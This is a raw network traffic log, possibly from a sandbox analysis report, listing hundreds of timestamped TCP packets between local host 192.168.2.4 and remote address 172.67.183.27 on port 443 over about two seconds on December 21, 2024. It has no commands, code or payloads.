Dec 21, 2024 20:13:54.794171095 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.794198036 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.794235945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.800595045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.800637960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.800662994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.800668001 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.800694942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.800713062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.820828915 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.820898056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.820904970 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.820930004 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.820955038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.820998907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.826160908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.826217890 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.826236963 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.826246023 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.826277971 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.826293945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.833916903 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.833962917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.833985090 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.833997965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.834019899 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.834043980 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.839235067 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.839278936 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.839307070 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.839318991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.839346886 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.839366913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.974780083 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.974843025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.974881887 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.974889994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.974931955 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.974931955 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.980506897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.980561972 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.980595112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.980602026 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.980621099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.980719090 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.987175941 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.987231016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.987266064 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.987271070 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.987298012 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.987612963 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.992981911 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.993026018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.993068933 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.993073940 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:54.993103981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:54.993181944 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.013082981 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.013151884 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.013183117 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.013190031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.013212919 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.013283014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.018867016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.018897057 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.018975019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.018975019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.018981934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.022208929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.024976969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.025032043 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.025069952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.025077105 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.025100946 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.027642012 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.031385899 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.031429052 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.031466007 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.031471968 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.031498909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.031594038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.166953087 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.167021990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.167062044 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.167073011 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.167098999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.167331934 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.172842026 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.172888994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.172925949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.172931910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.172959089 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.173031092 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.179389954 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.179436922 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.179472923 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.179480076 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.179506063 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.179574966 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.185254097 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.185312986 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.185384035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.185394049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.185419083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.185480118 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.205111980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.205157042 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.205243111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.205243111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.205251932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.205383062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.210980892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.211029053 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.211066008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.211071968 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.211100101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.211150885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.217430115 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.217487097 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.217525959 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.217531919 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.217557907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.217621088 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.223650932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.223695040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.223731995 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.223737955 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.223762989 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.223829031 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.359550953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.359615088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.359653950 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.359659910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.359685898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.359752893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.365433931 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.365478992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.365499973 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.365506887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.365530014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.365578890 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.371030092 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.371074915 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.371109009 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.371114969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.371148109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.371186972 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.377643108 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.377695084 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.377739906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.377747059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.377914906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.397737980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.397808075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.397857904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.397872925 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.397919893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.397919893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.403434992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.403489113 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.403542042 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.403553963 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.403582096 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.403611898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.409313917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.409358025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.409389973 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.409396887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.409440041 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.409480095 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.415816069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.415868998 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.415905952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.415913105 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.415935040 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.416024923 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.551966906 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.552027941 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.552166939 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.552166939 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.552176952 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.552253008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.557560921 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.557614088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.557653904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.557660103 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.557689905 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.557729006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.563996077 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.564049006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.564089060 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.564095020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.564120054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.564165115 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.569967031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.570009947 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.570044994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.570051908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.570077896 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.570138931 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.593770027 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.593837976 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.593975067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.593975067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.593983889 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.594052076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.599652052 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.599704981 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.599745035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.599751949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.599776983 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.599836111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.606173038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.606216908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.606256008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.606267929 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.606295109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.606343031 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.611958981 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.612003088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.612036943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.612044096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.612068892 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.612128019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.743788958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.743850946 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.743901014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.743915081 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.743946075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.746437073 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.749536991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.749591112 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.749639034 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.749646902 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.749674082 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.749866962 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.756129980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.756184101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.756222010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.756227970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.756254911 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.756311893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.762594938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.762639999 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.762677908 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.762684107 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.762710094 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.767654896 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.785924911 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.785990000 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.786030054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.786035061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.786051035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.791397095 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.791960955 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.792031050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.792067051 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.792073965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.792098999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.794604063 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.799124002 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.799170017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.799226999 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.799237013 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.799263000 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.799328089 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.804245949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.804290056 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.804327965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.804333925 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.804346085 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.804440975 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.936124086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.936192989 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.936223030 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.936229944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.936259985 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.936322927 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.942008018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.942054987 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.942076921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.942084074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.942111015 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.942127943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.948488951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.948533058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.948549986 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.948556900 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.948602915 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.955111027 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.955156088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.955193996 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.955199957 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.955229998 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.955249071 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.978087902 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.978152990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.978163958 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.978185892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.978209019 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.978235006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.983947992 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.984009027 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.984026909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.984033108 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.984123945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.990586042 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.990648985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.990658998 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.990679026 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.990708113 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.990748882 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.996953964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.997009039 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.997028112 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.997035980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:55.997075081 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:55.997093916 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.129005909 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.129070044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.129089117 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.129105091 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.129138947 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.129167080 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.134265900 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.134308100 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.134355068 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.134363890 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.134401083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.134401083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.140671015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.140713930 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.140758038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.140767097 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.140791893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.140805006 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.147337914 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.147381067 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:56.147399902 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:56.147411108 CET	443	49737	172.67.183.27	192.168.2.4
